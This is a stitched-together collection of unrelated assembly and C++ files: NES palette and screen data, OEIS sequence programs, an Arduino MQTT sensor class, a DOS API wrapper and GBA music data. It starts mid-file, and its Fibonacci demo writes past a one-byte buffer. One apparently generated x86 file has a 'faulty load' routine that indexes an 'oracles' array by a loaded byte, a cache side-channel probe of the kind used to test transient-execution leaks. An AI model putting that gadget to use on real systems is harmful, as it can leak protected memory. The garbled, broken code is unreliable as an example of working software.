$0F, $30 .byte $16 ; Terminator .byte $00 EndSeq_World2Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $37, $0F, $2C, $30, $37, $0F, $2C, $2A .byte $37, $0F, $16, $36, $0F, $0F, $0F, $30, $16, $0F, $0F, $30, $2A, $0F, $0F, $30 .byte $2A ; Terminator .byte $00 EndSeq_World3Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $37, $0F, $2C, $30, $37, $0F, $2C, $2A .byte $37, $0F, $2A, $36, $0F, $0F, $0F, $30, $16, $0F, $0F, $30, $16, $0F, $0F, $30 .byte $16 ; Terminator .byte $00 EndSeq_World4Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $37, $0F, $2C, $30, $37, $0F, $2C, $2A .byte $3A, $0F, $0F, $30, $16, $0F, $0F, $30, $16, $0F, $0F, $30, $16, $0F, $0F, $30 .byte $16 ; Terminator .byte $00 EndSeq_World5Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $30, $0F, $2C, $30, $37, $0F, $2C, $30 .byte $30, $0F, $17, $36, $0F, $0F, $0F, $00, $10, $0F, $0F, $30, $26, $0F, $0F, $30 .byte $16 ; Terminator .byte $00 EndSeq_World6Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $30, $0F, $2C, $30, $37, $0F, $2C, $30 .byte $30, $0F, $16, $36, $0F, $0F, $0F, $30, $16, $0F, $0F, $30, $2A, $0F, $0F, $30 .byte $2A ; Terminator .byte $00 EndSeq_World7Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $37, $0F, $2C, $30, $37, $0F, $2C, $2A .byte $3A, $0F, $30, $36, $0F, $0F, $0F, $21, $2A, $0F, $0F, $30, $16, $0F, $0F, $30 .byte $16 ; Terminator .byte $00 EndSeq_World8Pal: vaddr $3F00 .byte $20, $0F, $0F, $30, $16, $0F, $17, $2A, $37, $0F, $2C, $30, $37, $0F, $2C, $2A .byte $37, $0F, $16, $36, $0F, $0F, $0F, $30, $0B, $0F, $0F, $30, $16, $0F, $0F, $30 .byte $16 ; Terminator .byte $00 EndSeq_PrincessChamber: vaddr $3F00 .byte $20, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F vaddr $2BC0 .byte $30, $00, $00, $00, $00, $00, $00, $00, $00, $00, $F0, $7F, $5F, $5F, $DF, $F0 .byte $00, $FC, $57, $55, $55, $55, $55, $5D, $F3, $77, $55, $55, $55, $55, $55, $55 .byte $DD, $77, $55, $55, $55, $55, $55, $55, $DD, $77, $55, $55, $55, $55, $55, $55 .byte $DD vaddr $2888 .byte $10, $68, $6A, $68, $6A, $68, $6A, $68, $6A, $68, $6A, $68, $6A, $68, $6A, $68, $6A vaddr $28A8 .byte $10, $69, $6B, $69, $6B, $69, $6B, $69, $6B, $69, $6B, $69, $6B, $69, $6B, $69, $6B vaddr $28C4 .byte $18, $68, $6A, $68, $6A, $68, $6A, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF .byte $FF, $FF, $FF, $68, $6A, $68, $6A, $68, $6A vaddr $28E4 .byte $18, $69, $6B, $69, $6B, $69, $6B, $99, $99, $99, $99, $99, $99, $99, $99, $99 .byte $99, $99, $99, $69, $6B, $69, $6B, $69, $6B vaddr $2902 .byte $1C, $68, $6A, $68, $6A, $FF, $FF, $FF, $FF, $99, $99, $99, $99, $99, $99, $99 .byte $99, $99, $99, $99, $99, $FF, $FF, $FF, $FF, $68, $6A, $68, $6A vaddr $2922 .byte $1C, $69, $6B, $69, $6B, $99, $99, $99, $99, $99, $99, $99, $99, $99, $99, $99 .byte $99, $99, $99, $99, $99, $99, $99, $99, $99, $69, $6B, $69, $6B vaddr $2940 .byte $20, $68, $6A, $68, $6A, $FF, $FF, $99, $99, $99, $99, $99, $99, $99, $99, $99 .byte $99, $99, $99, $99, $99, $99, $99, $99, $99, $99, $99, $FF, $FF, $68, $6A, $68 .byte $6A vaddr $2960 .byte $04, $69, $6B, $69, $6B vaddr $2964 .byte VU_REPEAT | $18, $99 vaddr $297C .byte $04, $69, $6B, $69, $6B vaddr $2980 .byte $04, $68, $6A, $FF, $FF vaddr $2984 .byte VU_REPEAT | $18, $99 vaddr $299C .byte $04, $FF, $FF, $68, $6A vaddr $29A0 .byte $02, $69, $6B vaddr $29A2 .byte VU_REPEAT | $1B, $99 vaddr $29BD .byte $03, $FF, $69, $6B vaddr $29C0 .byte $02, $68, $6A vaddr $29C2 .byte VU_REPEAT | $1B, $99 vaddr $29DD .byte $03, $FF, $68, $6A vaddr $29E0 .byte $02, $69, $6B vaddr $29E2 .byte VU_REPEAT | $1B, $99 vaddr $29FD .byte $03, $FF, $69, $6B vaddr $2A00 .byte $02, $68, $6A vaddr $2A02 .byte VU_REPEAT | $1B, $99 vaddr $2A1D .byte $03, $FF, $68, $6A vaddr $2A20 .byte $02, $69, $6B vaddr $2A22 .byte VU_REPEAT | $1B, $99 vaddr $2A3D .byte $03, $FF, $69, $6B vaddr $2A40 .byte $02, $68, $6A vaddr $2A42 .byte VU_REPEAT | $1B, $99 vaddr $2A5D .byte $03, $FF, $68, $6A vaddr $2A60 .byte $02, $69, $6B vaddr $2A62 .byte VU_REPEAT | $1B, $99 vaddr $2A7D .byte $03, $FF, $69, $6B vaddr $2A80 .byte $02, $68, $6A vaddr $2A82 .byte VU_REPEAT | $1B, $99 vaddr $2A84 .byte VU_REPEAT | $02, $FF vaddr $2A9D .byte $03, $FF, $68, $6A vaddr $2AA0 .byte $02, $69, $6B vaddr $2AA2 .byte VU_REPEAT | $1B, $99 vaddr $2AA4 .byte VU_REPEAT | $02, $FF vaddr $2ABD .byte $03, $FF, $69, $6B vaddr $2AC0 .byte $02, $68, $6A vaddr $2AC2 .byte VU_REPEAT | $1B, $99 vaddr $2AC4 .byte VU_REPEAT | $02, $FF vaddr $2ADD .byte $03, $FF, $68, $6A vaddr $2AE0 .byte $02, $69, $6B vaddr $2AE2 .byte VU_REPEAT | $1B, $99 vaddr $2AE4 .byte VU_REPEAT | $02, $FF vaddr $2AFD .byte $03, $FF, $69, $6B vaddr $2B00 .byte $20, $62, $62, $63, $63, $62, $62, $63, $63, $62, $62, $63, $63, $62, $62, $63 .byte $63, $62, $62, $63, $63, $62, $62, $63, $63, $62, $62, $63, $63, $62, $62, $63 .byte $63 vaddr $2B20 .byte $20, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC .byte $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC .byte $FC vaddr $2B40 .byte $20, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD .byte $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD .byte $FD vaddr $2B60 .byte $20, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD .byte $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD, $FD, $FC, $FC, $FD .byte $FD ; Terminator .byte $00 EndSeq_Fade4: vaddr $3F00 .byte $20, $0F, $0F, $30, $3C, $0F, $0C, $1C, $3B, $0F, $27, $30, $17, $0F, $12, $31 .byte $21, $0F, $16, $36, $0F, $0F, $36, $25, $07, $0F, $2A, $36, $0F, $0F, $00, $00, $00 ; Terminator .byte $00 EndSeq_Fade3: vaddr $3F00 .byte $20, $0F, $0F, $20, $2C, $0F, $0F, $0C, $2B, $0F, $17, $20, $07, $0F, $02, $21 .byte $11, $0F, $06, $26, $0F, $0F, $26, $15, $0F, $0F, $1A, $26, $0F, $0F, $0F, $0F, $0F ; Terminator .byte $00 EndSeq_Fade2: vaddr $3F00 .byte $20, $0F, $0F, $10, $1C, $0F, $0F, $0F, $1B, $0F, $07, $10, $0F, $0F, $0F, $11 .byte $01, $0F, $0F, $16, $0F, $0F, $16, $05, $0F, $0F, $0A, $16, $0F, $0F, $0F, $0F, $0F ; Terminator .byte $00 EndSeq_Fade1: vaddr $3F00 .byte $20, $0F, $0F, $00, $0C, $0F, $0F, $0F, $0B, $0F, $0F, $00, $0F, $0F, $0F, $01 .byte $0F, $0F, $0F, $06, $0F, $0F, $06, $0F, $0F, $0F, $0F, $06, $0F, $0F, $0F, $0F, $0F ; Terminator .byte $00 EndSeq_Fade0: vaddr $3F00 .byte $20, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F ; Terminator .byte $00 PRG025_D4B5: vaddr $3F10 .byte $10, $0F, $21, $30, $0F, $0F, $11, $10, $0F, $0F, $12, $00, $0F, $0F, $0C, $0F .byte $0F ; Terminator .byte $00 EndSeq_CurtainFadeIn1: vaddr $3F00 .byte $10, $0F, $0F, $00, $06, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F ; Terminator .byte $00 EndSeq_CurtainFadeIn2: vaddr $3F00 .byte $10, $0F, $0F, $10, $16, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F ; Terminator .byte $00 EndSeq_CurtainFadeIn3: vaddr $3F00 .byte $10, $0F, $0F, $20, $16, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F ; Terminator .byte $00 PRG025_D505: vaddr $3F00 .byte $10, $0F, $0F, $30, $16, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F .byte $0F ; Terminator .byte $00 ; Rest of ROM bank was empty
; ; ANSI Video handling for the Epson PX4 ; By Stefano Bodrato - Nov 2014 ; ; BEL - chr(7) Beep it out ; ; ; $Id: f_ansi_bel.asm,v 1.2 2016-06-12 16:06:43 dom Exp $ ; SECTION code_clib PUBLIC ansi_BEL .ansi_BEL ld c,7 ; BEL jp $eb0c ; CONOUT
; A052648: Expansion of e.g.f. 5*x/(1-x). ; 0,5,10,30,120,600,3600,25200,201600,1814400,18144000,199584000,2395008000,31135104000,435891456000,6538371840000,104613949440000,1778437140480000,32011868528640000,608225502044160000 lpb $0 add $1,1 lpb $0 mul $1,$0 sub $0,1 lpe lpe mul $1,5 mov $0,$1
; A111284: Number of permutations of [n] avoiding the patterns {2143, 2341, 2413, 2431, 3142, 3241, 3412, 3421, 4123, 4213, 4231, 4321, 4132, 4312}; number of strong sorting classes based on 2143. ; 1,2,6,10,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222,226,230,234,238,242,246,250,254,258,262,266,270,274,278,282,286,290,294,298,302,306,310,314,318,322,326,330,334,338,342,346,350,354,358,362,366,370,374,378,382,386,390,394,398,402,406,410,414,418,422,426,430,434,438,442,446,450,454,458,462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,530,534,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646,650,654,658,662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726,730,734,738,742,746,750,754,758,762,766,770,774,778,782,786,790,794,798,802,806,810,814,818,822,826,830,834,838,842,846,850,854,858,862,866,870,874,878,882,886,890,894,898,902,906,910,914,918,922,926,930,934,938,942,946,950,954,958,962,966,970,974,978,982,986,990,994 mov $1,$0 mul $1,4 trn $1,3 add $1,1
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_UC_ht+0x151fb, %rsi lea addresses_WT_ht+0x1dc7b, %rdi nop nop nop nop nop and $28067, %rax mov $121, %rcx rep movsq nop nop and %r13, %r13 lea addresses_A_ht+0x13baf, %r12 cmp %r11, %r11 vmovups (%r12), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rax nop add %rcx, %rcx lea addresses_WT_ht+0x105fb, %rcx nop nop nop nop xor $32924, %r11 vmovups (%rcx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r13 nop sub $20860, %r12 lea addresses_D_ht+0xb4fb, %rsi lea addresses_normal_ht+0x146bb, %rdi nop nop nop nop and $53213, %r8 mov $73, %rcx rep movsb nop nop nop nop nop add %rdi, %rdi lea addresses_UC_ht+0x139fb, %rsi lea addresses_UC_ht+0x173fb, %rdi nop nop nop and $38294, %r13 mov $66, %rcx rep movsb nop nop nop nop add %rsi, %rsi lea addresses_WT_ht+0xabfb, %rsi lea addresses_normal_ht+0x3ffb, %rdi nop nop nop xor $48917, %r8 mov $30, %rcx rep movsl xor %r12, %r12 lea addresses_UC_ht+0x3bfb, %rsi lea addresses_WT_ht+0x93fb, %rdi nop nop nop nop add $9258, %r12 mov $65, %rcx rep movsq nop nop add %rcx, %rcx lea addresses_A_ht+0xb1fb, %rsi nop nop nop nop and %r11, %r11 movb (%rsi), %r12b nop and %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %rcx push %rsi // Faulty Load lea addresses_normal+0x191fb, %r13 nop nop nop sub $14654, %rsi movntdqa (%r13), %xmm1 vpextrq $0, %xmm1, %r11 lea oracles, %r8 and $0xff, %r11 shlq $12, %r11 mov (%r8,%r11,1), %r11 pop %rsi pop %rcx pop %r8 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'00': 1017} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#include "Arduino.h" #include "binary_sensor.h" BinarySensor::BinarySensor(){} BinarySensor::BinarySensor(String sensorName, int pin, void *pin_mode, String deviceClass, String mqttDiscoveryPrefix, String mqtt_node, PubSubClient *mqttClient) { _sensorName = sensorName; _mqttSensorName = sensorName; _mqttSensorName.replace(" ","_"); _mqttSensorName.toLowerCase(); _pin = pin; _pinMode = pin_mode; _deviceClass = deviceClass; _mqttDiscoveryPrefix = mqttDiscoveryPrefix; _mqtt_node = mqtt_node; _mqttClient = mqttClient; initialize(); } String BinarySensor::getStateTopic() { return _mqttDiscoveryPrefix + "/binary_sensor/" + _mqtt_node + "_" + _mqttSensorName + "/state"; } String BinarySensor::getConfigTopic() { return _mqttDiscoveryPrefix + "/binary_sensor/" + _mqtt_node + "_" + _mqttSensorName + "/config"; } String BinarySensor::getConfigPayload() { return "{\"name\": \"" + _mqtt_node + "_" + _mqttSensorName + "\", \"device_class\": \"" + _deviceClass + "\", \"state_topic\": \"" + getStateTopic() + "\"}"; } void BinarySensor::initialize() { pinMode(_pin, _pinMode); } ////////////////////////////////////////////////////////////////////////////////////////////////////////// // HELPERS // ////////////////////////////////////////////////////////////////////////////////////////////////////////// String BinarySensor::getBinaryState() { return digitalRead(_pin) == LOW ? "OFF" : "ON"; } void BinarySensor::mqtt_publish() { // publish MQTT discovery topics and device state boolean config_publish = mqtt_publish_config(); Serial.println("Configuration Topic Published: " + config_publish); delay(200); boolean state_publish = mqtt_publish_state(); Serial.println("Configuration Topic Published: " + state_publish); } boolean BinarySensor::mqtt_publish_config() { Serial.println("MQTT discovery " + _sensorName + " config: [" + getConfigTopic() + "] : [" + getConfigPayload() + "]"); return _mqttClient->publish(getConfigTopic().c_str(), getConfigPayload().c_str(), true); } boolean BinarySensor::mqtt_publish_state() { // publish MQTT discovery topics and device state Serial.println("MQTT discovery " + _sensorName + " state: [" + getStateTopic() + "] : [" + getBinaryState() + "]"); currentState = getBinaryState(); return _mqttClient->publish(getStateTopic().c_str(), currentState.c_str()); }
; fib.asm calculates the first 9 fibbonachi nunbers .386 .model flat,stdcall .stack 4096 ExitProcess proto,dwExitCode:dword .data fib BYTE ? .code main proc mov esi, OFFSET fib mov ecx, 9 mov ax, 0 mov bx, 1 add [esi], ax add [esi]+1, bx add esi,2 L1: add [esi], bx add [esi], ax mov ax, bx mov bx, [esi] inc esi loop L1 invoke ExitProcess,0 main endp end main
; A170230: Number of reduced words of length n in Coxeter group on 29 generators S_i with relations (S_i)^2 = (S_i S_j)^40 = I. ; 1,29,812,22736,636608,17825024,499100672,13974818816,391294926848,10956257951744,306775222648832,8589706234167296,240511774556684288,6734329687587160064,188561231252440481792,5279714475068333490176 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,28 lpe mov $0,$2 div $0,28
ifdef _X86AMD64_ include ..\amd64\amd64s.asm endif END
; A024493: a(n) = C(n,0) + C(n,3) + ... + C(n,3[n/3]). ; 1,1,1,2,5,11,22,43,85,170,341,683,1366,2731,5461,10922,21845,43691,87382,174763,349525,699050,1398101,2796203,5592406,11184811,22369621,44739242,89478485,178956971,357913942,715827883,1431655765,2863311530,5726623061,11453246123,22906492246,45812984491,91625968981,183251937962,366503875925,733007751851,1466015503702,2932031007403,5864062014805,11728124029610,23456248059221,46912496118443,93824992236886,187649984473771,375299968947541,750599937895082,1501199875790165,3002399751580331,6004799503160662 mov $1,1 lpb $0 sub $0,1 mov $3,$5 add $4,$2 add $2,$5 add $5,$1 add $1,$4 sub $5,$3 lpe
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosUnlockSeg DOS wrapper ; ; (c) osFree Project 2022, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; Documentation: http://osfree.org/doku/en:docs:fapi:dosunlockseg ; ;*/ .8086 INCLUDE GLOBALVARS.INC EXTERN DOS16PUNLOCKSEG: PROC EXTERN DOS16RUNLOCKSEG: PROC _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 DOSUNLOCKSEG PROC CMP DPMI, 0FFFFH JZ DOS16PUNLOCKSEG JMP DOS16RUNLOCKSEG DOSUNLOCKSEG ENDP _TEXT ENDS END
song050restored_pri equ 0 song050restored_rev equ 0 song050restored_mvl equ 127 song050restored_key equ 0 song050restored_tbs equ 1 song050restored_exg equ 0 song050restored_cmp equ 1 .align 4 ;**************** Track 1 (Midi-Chn.1) ****************; @song050restored_1: .byte TEMPO , 60 .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v+0 .byte VOL , 80*song050restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 80*song050restored_mvl/mxv .byte 28*song050restored_mvl/mxv .byte PAN , c_v+63 .byte c_v+63 .byte VOL , 28*song050restored_mvl/mxv .byte 28*song050restored_mvl/mxv .byte PAN , c_v+63 .byte c_v+63 .byte VOL , 28*song050restored_mvl/mxv .byte BEND , c_v+0 .byte W03 .byte VOL , 80*song050restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v-1 .byte TIE , Gn0 , v100 .byte W92 .byte W01 ; 001 ---------------------------------------- .byte W96 ; 002 ---------------------------------------- .byte W42 .byte EOT .byte W03 .byte BEND , c_v+0 .byte TIE , An0 .byte W48 .byte W03 ; 003 ---------------------------------------- .byte W60 .byte W03 .byte EOT .byte W03 .byte BEND , c_v-1 .byte TIE , Gn0 .byte W30 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W96 ; 006 ---------------------------------------- .byte W09 .byte EOT .byte W04 .byte BEND , c_v+0 .byte TIE , An0 .byte W80 .byte W03 ; 007 ---------------------------------------- .byte W30 .byte W01 .byte EOT .byte W03 .byte VOICE , 36 .byte VOL , 28*song050restored_mvl/mxv .byte PAN , c_v+63 .byte c_v+0 .byte VOL , 80*song050restored_mvl/mxv .byte PAN , c_v+0 .byte VOL , 80*song050restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song050restored_1 ;**************** Track 2 (Midi-Chn.2) ****************; @song050restored_2: .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v+27 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte VOL , 54*song050restored_mvl/mxv .byte 28*song050restored_mvl/mxv .byte PAN , c_v-64 .byte VOL , 28*song050restored_mvl/mxv .byte 28*song050restored_mvl/mxv .byte PAN , c_v-64 .byte VOL , 28*song050restored_mvl/mxv .byte BEND , c_v-1 .byte W01 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W02 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v+63 .byte BEND , c_v-1 .byte TIE , Cs0 , v100 .byte W56 .byte W02 .byte VOL , 47*song050restored_mvl/mxv .byte W32 .byte W03 ; 001 ---------------------------------------- .byte W15 .byte 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte W06 .byte EOT .byte W03 .byte TIE .byte W56 .byte W02 .byte VOL , 63*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte W11 ; 002 ---------------------------------------- .byte W42 .byte EOT .byte W03 .byte TIE .byte W44 .byte W01 .byte VOL , 63*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte W03 ; 003 ---------------------------------------- .byte W60 .byte W03 .byte EOT .byte W03 .byte TIE .byte W10 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+63 .byte W20 ; 004 ---------------------------------------- .byte W36 .byte W03 .byte VOL , 54*song050restored_mvl/mxv .byte W44 .byte W01 .byte EOT .byte W03 .byte TIE .byte W09 ; 005 ---------------------------------------- .byte W23 .byte VOL , 47*song050restored_mvl/mxv .byte W56 .byte W02 .byte 54*song050restored_mvl/mxv .byte PAN , c_v+27 .byte W15 ; 006 ---------------------------------------- .byte W64 .byte VOL , 63*song050restored_mvl/mxv .byte PAN , c_v+0 .byte W04 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte W28 ; 007 ---------------------------------------- .byte W30 .byte EOT .byte W04 .byte VOICE , 36 .byte VOL , 28*song050restored_mvl/mxv .byte PAN , c_v-64 .byte c_v-18 .byte VOL , 54*song050restored_mvl/mxv .byte PAN , c_v-18 .byte VOL , 54*song050restored_mvl/mxv .byte BEND , c_v-1 .byte GOTO .word @song050restored_2 ;**************** Track 3 (Midi-Chn.4) ****************; @song050restored_3: .byte KEYSH , song050restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 36 .byte PAN , c_v+63 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+63 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+63 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+63 .byte VOL , 47*song050restored_mvl/mxv .byte BEND , c_v+0 .byte W17 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+63 .byte BEND , c_v+0 .byte TIE , Gn0 , v100 .byte W78 .byte W01 ; 001 ---------------------------------------- .byte W96 ; 002 ---------------------------------------- .byte W56 .byte W01 .byte EOT .byte W03 .byte BEND , c_v+0 .byte TIE , An0 .byte W36 ; 003 ---------------------------------------- .byte W78 .byte EOT .byte W03 .byte BEND , c_v+0 .byte TIE , Gn0 .byte W15 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W96 ; 006 ---------------------------------------- .byte W24 .byte EOT .byte W03 .byte BEND , c_v+0 .byte TIE , An0 .byte W68 .byte W01 ; 007 ---------------------------------------- .byte W30 .byte EOT .byte W04 .byte VOICE , 36 .byte PAN , c_v+63 .byte VOL , 47*song050restored_mvl/mxv .byte PAN , c_v+63 .byte VOL , 47*song050restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song050restored_3 